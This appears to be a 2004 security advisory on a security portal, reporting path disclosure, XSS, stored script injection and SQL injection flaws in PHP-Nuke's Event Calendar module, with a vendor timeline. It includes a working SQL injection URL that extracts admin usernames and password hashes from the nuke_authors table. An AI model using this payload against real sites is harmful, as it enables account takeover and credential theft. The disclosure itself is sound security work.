Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 27, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: RodgerEnhal
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 332
Members: 0
Total: 332
PacketStorm News
Currently there is a problem with headlines from this site
[waraxe-2004-SA#038] - Multiple vulnerabilities in Event Calendar module for PhpNuke





Author: Janek Vind "waraxe"
Date: 17. November 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=38


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Module's Name: Event Calendar
Module's Version: 2.13 - March 16th, 2004
Module's Description: Provides an event calendar for PHP-Nuke communities.
License: GNU/GPL
Author's Name: Original author - Rob Sutton. Development continued by Holbrookau.
Author's Email: phpnuke@holbrookau.net

Event Calendar - a module for PHP-Nuke.
Based on version 1.5 by Rob Sutton, the Event Calendar found here is much updated
and features many improvments and add-ons. For example, the administration area features
configuration via a graphical interface, posting of events can be moderated and users even
have the option of adding comments to any event.

Homepage: http://phpnuke.holbrookau.net/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This piece of sowtware has many security related flaws due to poor user-submitted data
handling.


A - Full Path Disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - full path disclosure in "config.php":

http://localhost/nuke73/modules/Calendar/config.php

Warning: main(modules/Calendar/configset.php): failed to open stream: No such file or directory in D:apache_wwwroot
uke73modulesCalendarconfig.php on line 11
Warning: main(): Failed opening 'modules/Calendar/configset.php' for inclusion (include_path='.;c:php4pear') in D:apache_wwwroot
uke73modulesCalendarconfig.php on line 11
Warning: main(mainfile.php): failed to open stream: No such file or directory in D:apache_wwwroot
uke73modulesCalendarconfig.php on line 14
Warning: main(): Failed opening 'mainfile.php' for inclusion (include_path='.;c:php4pear') in D:apache_wwwroot
uke73modulesCalendarconfig.php on line 14
Warning: main(modules//language/lang-english.php): failed to open stream: No such file or directory in D:apache_wwwroot
uke73modulesCalendarconfig.php on line 19
Warning: main(): Failed opening 'modules//language/lang-english.php' for inclusion (include_path='.;c:php4pear') in D:apache_wwwroot
uke73modulesCalendarconfig.php on line 19


A2, A3 - full path disclosure in "index.php" and "submit.php":

http://localhost/nuke73/modules/Calendar/index.php
http://localhost/nuke73/modules/Calendar/submit.php


B - XSS aka cross site scripting:

Examples:

http://localhost/nuke73/modules.php?name=Calendar&file=submit&type=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&day=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&month=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&year=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&type=[xss code here]


C - script injection in calendar event comments:

It's serious bug - anyone can insert javascript exploit code to event comments
and if user or admin will read it, javascript will trigger and bad things can
happen - like cookie theft, arbitrary admin operations, etc.


D - critical sql injection bugs in code:

If we take a deep look at source code, then there can be found multiple sql queries,
where some variables, mostly "$eid" and "$cid" ARE NOT surrounded with single quotes.
Therefore sql injection is possible. Further exploitation will depend on database
software and version. In case of the mysql version 4.x with UNION functionality enabled,
arbitrary data can be retrieved from database, inluding admin(s) authentication credentials.
As tradition, there is proof of concept:

----------------[ real life exploit ]---------------

http://localhost/nuke73/modules.php?name=Calendar&file=index&type=view&eid=-99%20UNION%20ALL%20SELECT
%201,1,aid,1,pwd,1,1,1,1,1,1,1,1,1,1%20FROM%20nuke_authors%20WHERE%20radminsuper=1

----------------[/real life exploit ]---------------


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vendor contacted: 06. September 2004
Vendor responded: 06. September 2004
Detailed list of problems sent to vendor: 08. September 2004

Since then no more response from software developer and downloadable version
still unpatched.

For help with patching look @ here - http://www.waraxe.us/forums.html


Additional recources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Free proxy lists - http://www.waraxe.us/forum/viewforum.php?f=21
Base64 online tool - http://base64-encoder-online.waraxe.us/base64/base64-encoder.php


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna, icenix, g0df4th3r and slimjim100!
Tervitused - Heintz ja Maku!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (20688 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
SecurityFocus
·Vuln: Oracle Java SE CVE-2015-4860 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4872 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4911 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2015-4903 Remote Security Vulnerability
·Bugtraq: [SECURITY] [DSA 3413-1] openssl security update
·Bugtraq: [SECURITY] [DSA 3412-1] redis security update
·Bugtraq: [security bulletin] HPSBGN03525 rev.1: HP Performance Center Virtual Table Server, Remote Code Execution
·Bugtraq: ESA-2015-171 EMC NetWorker Denial-of-service Vulnerability
·More rss feeds from SecurityFocus

read more...
alexa



Error messages
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.042 Seconds